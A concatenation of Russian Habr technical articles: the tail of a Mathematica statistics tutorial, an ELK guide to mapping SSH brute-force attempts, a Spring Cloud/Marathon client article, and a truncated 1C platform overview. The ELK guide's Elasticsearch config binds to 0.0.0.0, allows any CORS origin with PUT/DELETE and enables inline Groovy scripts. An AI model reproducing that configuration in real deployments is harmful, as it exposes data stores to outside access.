-> 2586.14}}` , а наша запись выделяет первый корень, он тут единственный, и выполняет подстановку, т.е. вместо x перед оператором `/.` подставляется его значение `x -> 2586.14`. `expr /. x > value` – в выражение expr вместо переменной x подставляется ее значение value. Таким образом находится координата X пересечения двух треков, аналогичное действие производится и для нахождения координаты Y, только значение корня теперь подставляется в одно из уравнений, в данном случае в индексом j, при этом это может быть и уравнение с индексом i: `numeq[[j]] /. Solve[numeq[[j]] == numeq[[i]], x][[1]]` Далее округлим значение наших точек до целого: `rootlist = Round[rootlist];` Теперь мы имеем список точек пересечений трэков и можемпристапать к статистической обработке. Список выглядит таким образом: `{{2586, -910}, {2716, -1014}, {2718, -1015}, {3566, -1697}, {2697, -999}, {2957, -1207}, ... }` #### Статистическая обработка результатов Определим мат ожидание координаты X списка пересечений: `Xmed = Mean[rootlist[[All, 1]]] // N` `2532.7` `Mean[data]` – возвращает среднее значение данных data. `N[expr, n]` — возвращает результат вычисления выражения expr с точностью до n знаков после десятичной точки `x // f` — Постфиксная форма для `f[x]` Определим дисперсию координаты X списка пересечений: `sX = StandardDeviation[rootlist[[All, 1]]] // N` `81038.5` `StandardDeviation[data]` – возвращает стандартное отклонение данных, говоря русским языком — функция возвращает сигму, ну или среднеквадратичное отклонение. Определим те же характеристики для Y координаты пересечения: `Ymed = Mean[rootlist[[All, 2]]] // N` `sY = StandardDeviation[rootlist[[All, 2]]] // N` `-699.907` `106488` Из полученных данных математических ожиданий уже можно определить искомые величины — угол поворота видеокамеры относительно края обочины: `Xangle = Xang Xmed/Xlen - Xang/2 // N` `8.02449` , и угол наклона видеокамеры относительно траекторий движения транспортных средств `Yangle = Abs[Yang Ymed/Ylen - Yang/2] // N` `9.38796` Вообще, такое большое значение среднеквадратичного отклонения несколько смущает. построим гистограмму что-бы посмотреть распределение величин и выяснить, почему так происходит: `Histogram[` `{rootlist[[Range[length], 1]],` `rootlist[[Range[length], 2]]},` `100, AspectRatio -> 1]` ![](https://habrastorage.org/r/w1560/storage2/200/eec/e72/200eece72be4425ab35d556a398a208f.png) `Histogram[list,bspec]` — строит гистограмму списка `list` с количеством столбцов `bspec` Из данной гистограммы видно, что есть точки пересечения, находящиеся далеко от математического ожидания величины. Попробуем не принимать во внимание точки, не удовлетворяющие следующими условию: X координата точки должна лежать в пределах [-разрешение камеры по горизонтали; 2 разрешения камеры по горизонтали] Y координата точки должна лежать в пределах [- 2 разрешения камеры по вертикали; 0.5 разрешения камеры по вертикали] Для этого напишем следующее: `length = Length[rootlist];` `rlist = {};` `Do[If[` `-Xlen < rootlist[[i, 1]] < 2 Xlen && -2 Ylen < rootlist[[i, 2]] < 0.5 Ylen,` `rlist = Append[rlist, rootlist[[i]]]]` `, {i, length}]` `If[condition, t, f]` – возвращает `t`, если результатом вычисления `condition` будет `True`, и даст `f`, если результат `False` `And[p,q,...]` или `p && q && ...` — логическое сложение – операция «И»; Оценим мат ожидание и среднеквадратичное отклонение получившейся отфильтрованной выборки: `Xmed = Mean[rlist[[Range[length], 1]]] // N` `Ymed = Mean[rlist[[Range[length], 2]]] // N` `sX = StandardDeviation[rlist[[Range[length], 1]]] // N` `sY = StandardDeviation[rlist[[Range[length], 2]]] // N` `2628.84` `-928.819` `353.112` `457.717` Получившийся разброс отфильтрованной выборки меньше, чем у полной выборки. Определить искомые углы можно так-же, как и в случае с полной выборкой. #### Графическое представление результатов Теперь отобразим на одном графике точки пересечения по отфильтрованной выборке и функцию распределения координаты X точек пересечения: `lp = ListPlot[rlist, PlotStyle -> PointSize[0.0005], GridLines -> {{Xlen, Xmed}, {Ylen, Ymed}}, AspectRatio -> Automatic];` `dp = Plot[-1000000 PDF[NormalDistribution[Xmed, sX], x], {x,1000, 4000}, PlotStyle -> {Red}];` `Show[lp, dp, PlotRange -> {{0, 4000}, {-2000, 1000}}, AxesOrigin -> {0, 0}]` ![](http://habrastorage.org/r/w1560/storage2/286/19a/545/28619a54582b6531a4ee16532ed0a2f9.png) `PDF[dist,x]` – возвращает значение плотности вероятности распределения при аргументе `x` и заданном законе распределения `dist` `NormalDistribution[mu,sigma]` – нормальное распределение Я немного схитрил и поставил коэффициент -1000000 для наглядности графика. #### Что дальше? В следующей статье я покажу иной способ определения точки пересечения, основанный на фильтрации уравнений и нахождении подмножеств внутри множества.
https://habr.com/ru/post/176301/
null
ru
null
# Визуализация атак на базе ELK (elasticsearch, kibana, logstash) Доброго времени суток. В процессе обслуживания большого количества серверов возникает необходимость централизации управления всем зоопарком машин, а так же централизованный сбор логов и аналитика логов на предмет выявления аномалий, ошибок и общей статистики. В качестве централизованного сбора логов используется rsyslog, а для структурирования и визуализации elasticsearch + kibana. Все бы ничего, но когда количество подключенных машин разрастается, то данных настолько много, что уходит (уходило) большое количество времени на их обработку и анализ. Наряду с другими интересными штуками всегда хотелось организовать свой центр безопасности. Этакая мультимониторная статистика с картами, графиками и прочим. В данной статье хочу описать свой опыт создания монитора статистики по атакам на ссш. Не будем рассматривать в этом плане защиту, потому как программисты и прочие могут не уметь подключаться на нестандартные порты или пользоваться сертификатами. Так как у нас уже есть развернутый elastic с kibana, то будем на его базе и городить нашу систему. Итак, у нас уже есть установленный [докер](https://docs.docker.com/engine/installation/linux/centos/) и [docker-compose](https://docs.docker.com/compose/install/), значит будем поднимать сервисы на нем. elastic: ``` elasticsearch: build: elasticsearch:2.3.4 container_name: elastic command: elasticsearch -Des.network.host=0.0.0.0 net: host ports: - "9200:9200" - "9300:9300" volumes: - "/srv/docker/elastic/etc:/usr/share/elasticsearch/config" - "/srv/docker/elastic/db:/usr/share/elasticsearch/data" - "/etc/localtime:/etc/localtime:ro" restart: always environment: - ES_HEAP_SIZE=2g ``` /srv/docker/elastic/elasticsearch.yml: ``` cluster.name: Prod node.name: "central-syslog" http.port: 9200 network.host: _non_loopback_ discovery.zen.ping.multicast.enabled: false discovery.zen.ping.unicast.hosts: [ ] transport.publish_host: 0.0.0.0 #transport.publish_port: 9300 http.cors.enabled : true http.cors.allow-origin : "*" http.cors.allow-methods : OPTIONS, HEAD, GET, POST, PUT, DELETE http.cors.allow-headers : X-Requested-With,X-Auth-Token,Content-Type, Content-Length script.engine.groovy.inline.aggs: on ``` /srv/docker/elastic/logging.yml: ``` logger: action: DEBUG com.amazonaws: WARN appender: console: type: console layout: type: consolePattern conversionPattern: "[%d{ISO8601}][%-5p][%-25c] %m%n" ``` kibana: ``` kibana: image: kibana restart: always container_name: kibana environment: SERVICE_NAME: 'kibana' ELASTICSEARCH_URL: "http://x.x.x.x:9200" ports: - "4009:5601" volumes: - "/etc/localtime:/etc/localtime:ro" ``` logstash: ``` logstash: image: logstash:latest restart: always container_name: logstash hostname: logstash ports: - "1025:1025" - "1026:1026" volumes: - "/srv/docker/logstash/logstash.conf:/etc/logstash.conf:ro" - "/srv/docker/logstash/ssh-map.json:/etc/ssh-map.json:ro" command: "logstash -f /etc/logstash.conf" ``` Итак. Мы запустили эластик и кибану, но осталось подготовить логстеш к обработке логов от внешних серверов. Я реализовал вот такую схему: rsyslog → logstash → elastic → kibana. Можно было бы использовать встроенный в rsyslog коннектор напрямую в эластик, но нам нужны данные по полям и с geoip для статистики. На серверах, подключаемых к мониторингу вносим в конфиг rsyslog (обычно это /etc/rsyslog.d/50-default.conf) вот такую запись: ``` auth,authpriv.* @@x.x.x.x:1026 ``` Этой записью мы отправляем все события об авторизации на наш удаленный сервер (logstash). Далее, полученные логстешем логи нам нужно обработать и оформить. Для этого создаем маппинг полей, чтобы на выходе нам было удобно работать (/srv/docker/logstash/ssh-map.json): ``` { "template": "logstash-*", "mappings": { "ssh": { "properties": { "@timestamp": { "type": "date", "format": "strict_date_optional_time||epoch_millis" }, "@version": { "type": "string" }, "username": { "type": "string" }, "src_ip": { "type": "string" }, "port": { "type": "long" }, } } } } ``` В ходе создания маппинга столкнулся с одним багом логстеша, а именно присвоению полю значения geo\_point (при создании своего индекса выставляется значение у geoip.location — float), по которому в дальнейшем будет строиться heatmap на карте. Баг этот зарегистрирован и в качестве workaround мне пришлось использовать шаблон стандартных индексов logstash-\*. Итак, маппинг у нас есть. Теперь нужно подготовить конфиг logstash, чтобы он фильтровал входящие данные и в нужном формате отдавал в эластик (/srv/docker/logstash/logstash.conf): ``` input { tcp { port => 1026 type => "security" } } filter { grok { match => ["message", "Failed password for (invalid user |)%{USERNAME:username} from %{IP:src_ip} port %{BASE10NUM:port} ssh2"] add_tag => "ssh_brute_force_attack" } grok { match => ["message", "Accepted password for %{USERNAME:username} from %{IP:src_ip} port %{BASE10NUM:port} ssh2"] add_tag => "ssh_sucessful_login" } geoip { source => "src_ip" } } output { if "ssh_brute_force_attack" in [tags] { elasticsearch { hosts => ["x.x.x.x:9200"] index => "logstash-%{+YYYY.MM.dd}" manage_template => true template_name => "ssh" template => "/etc/ssh-map.json" template_overwrite => true } } } ``` Конфиг удобочитаемый, понятный, поэтому комментировать считаю излишним. Итак. Логи ссш попадают в логстеш, он их обрабатывает и отправляет в индексы эластика. Осталось только настроить визуализацию: — Открываем веб интерфейс по адресу [x.x.x.x](http://x.x.x.x):4009/ — Переходим в Settings и добавляем работу с нашими индексами (logstash-\*) Далее нам нужно в kibana создать поисковые запросы, визуализацию и дашборд. Во вкладке Discover после добавления индексов в kibana мы видим наши записи — все настроили верно. В левой колонке мы видим список полей для фильтрации, с ними и будем работать. Первым фильтром пойдет список атакуемых серверов: — около поля host нажимаем add — сохраняем поиск как ssh-brute-servers-under-attack (имя вариативно) Вторым фильтром будет список атакующих стран: — около поля geoip.country\_name нажимаем add — сохраняем как ssh-brute-countries (имя вариативно) Третьим фильтром будет общее количество атак: — переходим на вкладку Discovery — сохраняем как ssh-brute-all Итак, на финальном экране у нас будет отображаться четыре разных параметра: 1. Суммарное количество атак 2. Атакующие страны 3. Атакуемые серверы 4. Карта с указателями на атакующие хосты Суммарное количество атак: — переходим на вкладку Visualize — выбираем тип визуализации Metric — From saved search — ssh-brute-all — Открываем Metric и меняем значение поля на — Суммарное количество атак — Сохраняем визуализацию Атакующие страны: — переходим на вкладку Visualize — выбираем тип визуализации Data table — From saved search — ssh-brute-countries — Открываем Metric и меняем значение поля на — Количество атак — Теперь нам нужно соотнести поля и посчитать в таблице «уники». Нажимаем split rows — Aggregation — terms — Field — geoip.country\_name.raw — Custom label — Страна Если все ввели верно, то загорится зеленая кнопка play, после нажатия на которую увидим примерно такую картину: ![image](https://habrastorage.org/r/w1560/files/32e/b88/158/32eb88158b2f42d5958d0622d3f76134.png) — Сохраняем визуализацию Атакуемые серверы: — переходим на вкладку Visualize — выбираем тип визуализации Data table — From saved search — ssh-brute-servers-under-attack — Открываем Metric и меняем значение поля на — Количество атак — Теперь нам нужно соотнести поля и посчитать в таблице «уники». Нажимаем split rows — Aggregation — terms — Field — host.raw — Custom label — Сервер Если все ввели верно, то загорится зеленая кнопка play, после нажатия на которую увидим примерно такую картину: ![image](https://habrastorage.org/r/w1560/files/8b1/954/513/8b1954513f9d4fbca9a5aea60bbdb2de.png) — Сохраняем визуализацию Карта с указателями на атакующие хосты (самое интересное) — переходим на вкладку Visualize — выбираем тип визуализации Tile map — From new search — Select an index pattern — logstash-\* — Открываем Geo Coordinates. Если все шаги были верными, автоматически поле Field заполнится geoip.location — Переходим в Options — Меняем хостинг карт (так как у MapRequest изменились условия и нужно получать токен и дополнительно что-то делать). Ставим галку в — WMS compliant map server — Приводим все поля к параметрам: WMS Url — [basemap.nationalmap.gov/arcgis/services/USGSTopo/MapServer/WMSServer](https://basemap.nationalmap.gov/arcgis/services/USGSTopo/MapServer/WMSServer) WMS layers\* — 0 WMS version\* — 1.3.0 WMS format\* — image/png WMS attribution — Maps provided by USGS WMS styles\* — пусто В итоге у нас должна отобразиться карта атак: ![image](https://habrastorage.org/r/w1560/files/a9a/31a/130/a9a31a1307224926aaf89e762616f1a6.png) — Сохраняем визуализацию Теперь у нас всё есть для того, чтобы сделать свой дашборд. Переходим на вкладку Dashboard, нажимаем на Add visualization (плюс в круге справа сверху) и добавляем свои сохраненные визуализации на экран и сохраняем экран. Поддерживается Drag'n'Drop. В итоге у меня получился вот такой экран: ![image](https://habrastorage.org/r/w1560/files/9d7/a30/fdf/9d7a30fdf815429e86addd3dc2d06b7e.png) Теперь для подключения новых хостов к системе достаточно будет указывать у них передачу логов авторизации на сервер logstash и при возникновении событий хосты и информация будут добавляться на экран и в эластик. При желании вы всегда сможете добавить логи брутфорса контрольных панелей, собрать более детализированную статистику и добавить на экран по аналогии с этой статьей.
https://habr.com/ru/post/324760/
null
ru
null
# Скрестить ежа (Marathon) с ужом (Spring Cloud). Эпизод 2 В [первом эпизоде](https://habrahabr.ru/post/325714/) у нас получилось вытянуть информацию из **Mesos Marathon** прямиком в бины **Spring Cloud**-а. Вместе с тем у нас появились первые проблемы, одну из которых мы разберём в текущей части повествования. Давайте вспомним нашу конфигурацию подключения к **Marathon**-у: ``` spring: cloud: marathon: scheme: http #url scheme host: marathon #marathon host port: 8080 #marathon port ``` Какие мы видим тут проблемы? Первая — у нас нет никакой авторизации при подключении, что для промышленного использования странно. Вторая — мы можем указать только один хост и порт. В принципе, можно было бы попробовать упихнуть несколько мастеров за один балансировщик или DNS, но эту дополнительную точку отказа хотелось бы избежать. Как это сделать написано под катом. Пароль всему голова ------------------- Существуют две доступные нам схемы авторизации: **Basic** и **Token**. Basic-авторизация настолько банальна, что с ней встречался почти каждый разработчик. Суть её до боли проста. Берём логин и пароль. Склеиваем их через `:`. Кодируем в Base64. Добавляем заголовок `Authorization` со значением `Basic` . Профит. С токеном несколько сложнее. В open-source реализации он недоступен, поэтому такой способ подойдёт тем, кто использует **DC/OS**. Для этого нужно просто добавить чуть по другому сформированный авторизационный заголовок: ``` Authorization: token= ``` Таким образом к нашей конфигурации мы можем добавить несколько нужных нам свойств: ``` spring: cloud: marathon: ... token: dcos_acs_token username: marathon password: mesos ``` И далее мы можем руководствоваться простыми приоритетами. Если указан токен, то берём его. Иначе берём логин и пароль и делаем basic-авторизацию. Ну и при отсутствии того и другого создаём "голый" клиент. ``` Feign.Builder builder = Feign.builder() .encoder(new GsonEncoder(ModelUtils.GSON)) .decoder(new GsonDecoder(ModelUtils.GSON)) .errorDecoder(new MarathonErrorDecoder()); if (!StringUtils.isEmpty(token)) { builder.requestInterceptor(new TokenAuthRequestInterceptor(token)); } else if (!StringUtils.isEmpty(username)) { builder.requestInterceptor(new BasicAuthRequestInterceptor(username,password)); } builder.requestInterceptor(new MarathonHeadersInterceptor()); return builder.target(Marathon.class, baseEndpoint); ``` Клиент к **Marathon** реализован с помощью http-клиента [**Feign**](https://github.com/OpenFeign/feign), в который можно легко добавлять любые **interceptor**-ы. В нашем случае они добавляют нужные http-заголовки в запрос. После этого **builder** сконструирует нам объект по интерфейсу, в котором декларативно объявлены возможные запросы: ``` public interface Marathon { // Apps @RequestLine("GET /v2/apps") GetAppsResponse getApps() throws MarathonException; //Other methods } ``` Итак, разминка закончилась, теперь займёмся более сложной задачей. Отказоустойчивый клиент ----------------------- Если у нас развёрнута промышленная инсталляция **Mesos**-a и **Marathon**-а, то количество мастеров из которых мы можем читать данные будет больше одного. Более того, какой-то из мастеров может случайно быть недоступен, тормозить, или быть в состоянии апгрейда. Невозможность получить информацию приведёт либо к устареванию информации на клиентах, и, следовательно, в какой-то момент к выстрелам в молоко. Либо, скажем при апдейте прикладного ПО, мы вообще не получим список инстансов и будет отказывать клиенту в обслуживании. Всё это не есть хорошо. Нам нужна клиентская балансировка запросов. Логично, что кандидатом на эту роль должен быть выбран [**Ribbon**](https://github.com/Netflix/ribbon), так как он используется в клиентской балансировке запросов внутри **Spring Cloud**-а. Подробнее о стратегиях балансировки запросов мы поговорим в следующих эпизодах, а пока ограничимся самой базовой функциональностью, которая нужна нам для решения задачи. Первое, что нам нужно сделать, это внедрить балансировщик в наш **feign**-клиент: ``` Feign.Builder builder = Feign.builder() .client(RibbonClient.builder().lbClientFactory(new MarathonLBClientFactory()).build()) ...; ``` Глядя на код напрашивается логичный вопрос. Что такое **lbClientFactory** и зачем мы делаем свою? Если кратко, то эта фабрика конструирует нам клиентский балансировщик запросов. По-умолчанию создаваемый клиент лишён одной нужной нам фичи: повторного запроса в случае проблем при первом запросе. Чтобы была возможность сделать **retry**, мы добавим его при конструировании объекта: ``` public static class MarathonLBClientFactory implements LBClientFactory { @Override public LBClient create(String clientName) { LBClient client = new LBClientFactory.Default().create(clientName); IClientConfig config = ClientFactory.getNamedConfig(clientName); client.setRetryHandler(new DefaultLoadBalancerRetryHandler(config)); return client; } } ``` Не стоит пугаться что наш **retry**-обработчик имеет префикс **Default**. Внутри него есть всё, что нам нужно. И тут мы подходим к вопросу конфигурации всего этого добра. Так как клиентов у нас в приложении может быть несколько, и клиент для **Marathon**-а лишь один из них, то настройки имеют определённый шаблон вида: ``` client_name.ribbon.property_name ``` В нашем случае: ``` marathon.ribbon.property_name ``` Все свойства для клиентского балансировщика хранятся в менеджере конфигураций — [**Archarius**-е](https://github.com/Netflix/archaius). В нашем случае эти настройки будут храниться в памяти, потому что добавляем мы их "на лету". Для этого в нашем модифицированном клиенте добавим вспомогательный метод `setMarathonRibbonProperty`, внутри которого будем устанавливать значение свойства: ``` ConfigurationManager.getConfigInstance().setProperty(MARATHON_SERVICE_ID_RIBBON_PREFIX + suffix, value); ``` Теперь перед тем, как создать **feign**-клиент нам нужно проинциализировать эти настройки: ``` setMarathonRibbonProperty("listOfServers", listOfServers); setMarathonRibbonProperty("OkToRetryOnAllOperations", Boolean.TRUE.toString()); setMarathonRibbonProperty("MaxAutoRetriesNextServer", 2); setMarathonRibbonProperty("ConnectTimeout", 100); setMarathonRibbonProperty("ReadTimeout", 300); ``` Что тут есть интересного. Во-первых это `listOfServers`. Фактически это перечисление всех возможных пар `host:port`, на которых расположены мастера **Marathon**-а, разделённые запятой. В нашем случае мы просто добавим в нашу конфигурацию возможность их указать: ``` spring: cloud: marathon: ... listOfServers: m1:8080,m2:8080,m3:8080 ``` Теперь каждый новый запрос к мастеру будет идти на один из этих трёх серверов. Чтобы **retry** вообще заработал мы должны выставить значение `OkToRetryOnAllOperations` в `true`. Максимальное количество повторение задаём с помощью опции `MaxAutoRetriesNextServer`. Почему в ней есть указание на **NextServer**? Всё просто. Потому что есть ещё опция `MaxAutoRetries`, которая указывает сколько раз нужно попробовать повторно вызвать первый сервер (тот что был выбран для самого первого запроса). По-умолчанию это свойство имеет значение `0`. То есть после первой неудачи мы пойдём просить данные у следующего кандидата. Также стоит помнить, что `MaxAutoRetriesNextServer` указывает на количество попыток за вычетом попыток запросить данные с первого сервера. Ну и, чтобы не висеть на линии бесконечно долго, установим свойства `ConnectTimeout` и `ReadTimeout` в разумных пределах. Итого ----- В этой части мы сделали наш клиент к **Marathon**-у более кастомизуемым и отказоустойчивым. Причём воспользовавшись уже готовыми решениями нам не пришлось городить слишком много огорода. Но мы всё ещё далеки от завершения работы, потому что самой интересной части балета — клиентской балансировки запросов для прикладного ПО — у нас пока ещё нет. #### Продолжение следует
https://habr.com/ru/post/327937/
null
ru
null
# И снова про 1С ![image](https://habrastorage.org/r/w1560/files/90f/0cb/c8d/90f0cbc8d7ea4a7d83241a81e035c3dd.png) Последнее время на Хабре стали все чаще появляться статьи, посвященные 1С как *среде разработки приложений*. Статьи по смыслу более концептуальные, чем прикладные; авторы делают обзор платформы «1C:Предприятие 8» в целом, пытаются понять, хороша или плоха технология создания бизнес-приложений, предлагаемая 1С. Не буду обсуждать, прав ли каждый из авторов или нет; у платформы 1С, как у любой технологии, есть свои преимущества и недостатки. А есть и свои интересные особенности, свои наработки и механизмы. Вот о них и хочется поговорить. А еще — хочется написать статью про 1С для людей, с 1С незнакомых, статью, которая показывает, какое место 1С занимает в ряду аналогичных программных продуктов. Мне лично такой ознакомительной обзорной статьи очень не хватало, когда я еще не был знаком с 1С, но был знаком с рядом других ERP продуктов. Итак, начнем! Что производит фирма 1С? ------------------------ Думаю, широкая публика на этот вопрос ответит: «1С:Бухгалтерию». Кто-то вспомнит обучающие программы или знаменитую серию игр «ИЛ-2 Штурмовик». Участники Хабра, конечно, в курсе, что 1С – это не только «1С:Бухгалтерия», что есть целая система программ «1С:Предприятие», включающая средства разработки бизнес-приложений и бизнес-приложения, созданные с помощью этих средств. А уж с помощью средств разработки 1С написаны и бухгалтерия, и CRM, и ERP (с внедрениями на тысячи и десятки тысяч пользователей), и многое другое. ERP-системы — наиболее интересные и насыщенные по функционалу бизнес-приложения; посмотрим на их примере, какое место технологии «1С:Предприятия» занимают в ряду аналогов. Какие бывают ERP ---------------- Какое самое ценное свойство ERP систем (да и любых бизнес-приложений)? На мой взгляд – это гибкость, возможность приспосабливаться к бизнес-процессам конечного пользователя как можно меньшей ценой. Понятно, что, программируя ERP систему, все варианты бизнес-процессов предусмотреть невозможно. На помощь приходит параметризация; вводя в систему параметры, которые может изменить в настройках системы пользователь (консультант, администратор), мы повышаем гибкость системы сравнительно небольшой ценой. Первые ERP системы были parameter-driven, т.е. настраиваемые с помощью параметров. Не все бизнес-кейсы можно предусмотреть и в параметризуемых системах. Когда одной настройкой параметров не обойтись – надо менять исходный код. Тут перед производителем ERP встает вопрос – менять код самому под нужды потребителей и выпускать обновления или поставлять систему в исходных кодах, чтобы пользователи могли сами переписать систему под свои нужды (что, кстати, не освобождает производителя от выпуска обновлений — система должна развиваться, поддерживать новый функционал, чтобы быть конкурентоспособной). Отдельный вопрос – выбор языка программирования для написания ERP системы. Бо́льшая часть ERP системы – это бизнес-логика, для которой обычные языки программирования типа С++ не всегда подходят наилучшим образом. В идеале бизнес-логику хорошо бы программировать на высокоуровневом языке, способном обеспечить бизнес-программисту максимальный комфорт при написании бизнес-логики, абстрагировать его от низкоуровневых деталей (особенностей работы с базами данных, подсистемой файлового ввода-вывода и печати, оконной подсистемой пользовательского интерфейса и т.п.). Конечно, в этом случае надо еще создать и компилятор/интерпретатор для этого языка и среду разработки. Имеем матрицу возможных сочетаний: * открытый или закрытый код приложения (тут я имею в виду не open source в [обычном его понимании](https://ru.wikipedia.org/wiki/%D0%9E%D1%82%D0%BA%D1%80%D1%8B%D1%82%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%BD%D0%BE%D0%B5_%D0%BE%D0%B1%D0%B5%D1%81%D0%BF%D0%B5%D1%87%D0%B5%D0%BD%D0%B8%D0%B5), а возможность поставки исходного кода приложения, в том числе и за отдельную плату). * язык программирования бизнес логики – «обычный» (С/Java/Perl/…) или специально разработанный, проприетарный. ![image](https://habrastorage.org/r/w1560/files/be5/030/f0b/be5030f0b23541caa0118b105f82a04a.png) Бизнес-приложения, созданные с помощью технологий «1C: Предприятия» — это системы с открытым прикладным исходным кодом, написанным на [проприетарном языке](http://v8.1c.ru/overview/Term_000000020.htm), у которого нет короткого названия; официально его называют «Встроенный язык программирования 1С: Предприятие», неофициально и коротко – «язык 1С». Большинство лидеров современного ERP рынка – это системы с открытым кодом. Возможность изменять исходный код «на местах» дает огромную гибкость и конкурентное преимущество. Продукты с закрытым кодом вынуждены использовать другие приемы; самый распространенный ход – аналог CallBacks, возможность повесить кастомный код на предопределенные события, как визуальные (открытие-закрытие формы, выбор из списка значений, …), так и бизнес-событие (обработка заказа, ввод счета на продажу, …). В некоторых системах есть возможность написать свои обработчики на C# (или других распространенных языках), в других для этого есть Visual Basic for Applications, лицензированный у Microsoft и т.п. Как устроены ERP ---------------- ERP системы с открытым кодом приложения состоят из собственно исходного кода, реализующего бизнес-логику, и среды исполнения этого бизнес-кода (т.н. платформы). Платформа, как правило, написана на низкоуровневом языке (C, C++), часто исходные коды платформы закрыты для конечных пользователей. Задача платформы – позволить программисту абстрагироваться от низкоуровневых деталей (особенности ОС и СУБД и т.п.) и сосредоточиться на написании собственно бизнес-логики. К платформе также часто относят средства разработки бизнес-приложений и средства администрирования системы (и я согласен с этим подходом). Не обходятся, кстати, без платформы и системы, где бизнес-логика написана на «обычных» языках программирования. Интерпретировать код приложения там не надо, но потребность в платформенном функционале остается (например, «обертках» вокруг БД или унифицированном доступе к списку пользователей и их прав). Платформу как среду исполнения бизнес-приложений можно охарактеризовать как виртуальную машину. Как правило, платформа должна эмулировать для ERP три основные вещи: * Среда исполнения бизнес-логики. * База данных. * Графическая подсистема для отображения клиентского приложения. Клиентское приложение может быть графическим, отрисованным штатными средствами ОС (в том числе и мобильной ОС), а может быть веб-приложением. В случае веб-приложения платформа или реализует свой веб-сервер, или обеспечивает поддержку стандартных веб-серверов (IIS, Apache и т.д.) В принципе, модифицируя платформу, можно заставить ERP, написанную на проприетарном языке, запускаться под любой ОС и хранить данные практически в любой СУБД. Обычно производители ERP ограничиваются одной-двумя ОС и одной-двумя СУБД. Поддержка дополнительных ОС и СУБД – это увеличение затрат на разработку и тестирование; нередко производители ERP в новых версиях продуктов объявляют о прекращении поддержки какой-либо СУБД. Платформа 1С в плане поддержки ОС и СУБД предлагает следующее: * Среда исполнения бизнес-логики: отказоустойчивый кластер серверов приложений с балансировкой нагрузки; ОС — Windows или Linux * База данных: собственная файловая СУБД (рекомендуемая для разработки и небольших инсталляций), MS SQL, Oracle, IBM DB2, PostgreSQL * Клиент: + тонкий клиент (только отображение и ввод информации на клиенте) – Windows и Linux. Может работать с сервером приложений через локальную сеть или через веб-сервисы (в этом случае на серверной стороне должен быть развернут Microsoft IIS или Apache) + Веб-клиент – на серверной стороне Microsoft IIS или Apache, на клиентской – любой из четырех браузеров — Internet Explorer, Chrome, Firefox, Safari + толстый клиент (с возможностью исполнять на клиенте часть бизнес-логики) – Windows и Linux. Обладает рядом ограничений (например, может работать только в пределах одной локальной сети с сервером приложений). Считается устаревшим, далее его развивать фирма «1С» не планирует. + Мобильный офлайн-клиент (с возможностью периодической синхронизации) – iOS и Android. Если мы используем при написании программы 1С [технологию управляемого приложения](http://v8.1c.ru/beta_ma/conception.htm) (доступна с 2008 года) – то из одного прикладного кода мы получаем и тонкого клиента для Windows/Linux, и веб-клиента. Язык приложений ERP ------------------- Отдельная тема – язык, на котором пишется бизнес-логика. Для эффективной работы бизнес-программиста этот язык должен быть как можно ближе к предметной области бизнеса (в идеале – DSL, [Domain Specific Language](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B5%D0%B4%D0%BC%D0%B5%D1%82%D0%BD%D0%BE-%D0%BE%D1%80%D0%B8%D0%B5%D0%BD%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D1%8B%D0%B9_%D1%8F%D0%B7%D1%8B%D0%BA)) и подальше от технических деталей ОС и СУБД. Возьмем типичную для бизнеса задачу: нам надо добавить в системе возможность введения и обработки нового типа документов (например, наряд-заказа). В системе, написанной на «обычном» языке программирования, для этого требуется: 1. Создать таблицы в БД, где будет храниться информация о документе. 2. Написать класс (или классы), реализующие бизнес-логику работы с документом. Помимо бизнес-логики классы должны также реализовывать взаимодействие с БД — чтение и запись данных документа. 3. Создать пользовательский интерфейс для редактирования нового типа документа. Часто нужно бывает еще создать форму, отображающую список документов с возможностью поиска по разным полям и т.п. Если мы работаем на C# в Visual Studio – все шаги можно сделать внутри одной среды разработки (включая дизайн БД). В ряде ERP систем, использующих проприетарные языки, также надо пройти все три описанных выше шага, как правило, внутри одной среды разработки. Эти 3 шага обеспечат необходимый минимум; а ведь еще надо создать пользовательский интерфейс для работы с документом, сделать его доступным в отчетах, уметь регистрировать изменения, сделанные пользователями в документах нового типа, в журнале (логе) системы и т.п. В 1С надо описать в графическом дизайнере поля нового типа документа и написать код, реализующий специфичную для документа бизнес-логику (например, на какие счета записать суммы денег, проходящие в документе). Все остальное, необходимое для полноценной работы с документом в системе, сделает платформа: * Создаст структуры в СУБД для хранения данных. * Создаст формы для редактирования документа, показа списка документов этого типа и т.д. Если автоматически созданные формы нас чем-то не устроят – можно сделать свои, расширив и/или изменив стандартные. * Документ станет доступен в отчетах. * Документ и его поля станут доступны для раздачи прав на чтение/запись в системе безопасности приложения. * Поля документа станут доступны для [полнотекстового поиска](http://v8.1c.ru/overview/Term_000000275.htm) по всей системе (с учетом синонимов, поддержкой транслитерации, нечеткого поиска и т.д.). * Все изменения в документах нового типа будут регистрироваться в [журнале регистрации](http://v8.1c.ru/overview/Term_000000292.htm) приложения. * Будут автоматически созданы методы для сохранения и чтения документа в/из XML и JSON. * Документ станет доступен по интерфейсу REST (через протокол OData). * И многое другое Особенностью разработки в 1С является то, что в системе существуют порядка 20 встроенных типов объектов, и все новые объекты, которые разработчик создает, должны принадлежать к одному из этих типов. Большая часть этих типов описывают объекты из сферы учетной деятельности предприятия – справочники, документы, планы счетов и т.д. Другая часть типов объектов – технологические, например, Web- и HTTP-сервисы; они позволяют программам 1С общаться с внешним миром. ![image](https://habrastorage.org/r/w1560/files/8e0/649/560/8e06495605c64044bfaf36a9ab690bbe.png) **Конфигуратор 1С – в нем создаются прикладные решения. Слева — дерево встроенных типов 1С; под каждой веткой — прикладные объекты данного типа.** Разработка прикладных решений делается в Конфигураторе (Designer в англоязычной версии). Недавно была выпущена [ознакомительная версия](http://v8.1c.ru/overview/release_IDE/) инструмента «1C:Enterprise Development Tools», позволяющая вести разработку решений 1С в популярной среде [Eclipse](http://www.eclipse.org/). Промышленную разработку в «1C:Enterprise Development Tools» вести пока нельзя, но понять, куда в технологическом плане движется компания, по этой версии вполне можно. В частности, поддерживается коллективная разработка с использованием популярных систем управления версиями (Git, SVN и любых других, для которых есть плагины к Eclipse); есть также возможность написать к IDE Eclipse собственные плагины, расширяющие возможности среды разработки по работе с 1С. ![image](https://habrastorage.org/r/w1560/files/bf1/220/d01/bf1220d019ce490f94c9ebb9e58bb828.png) **Enterprise Development Tools — разработка приложения 1С в 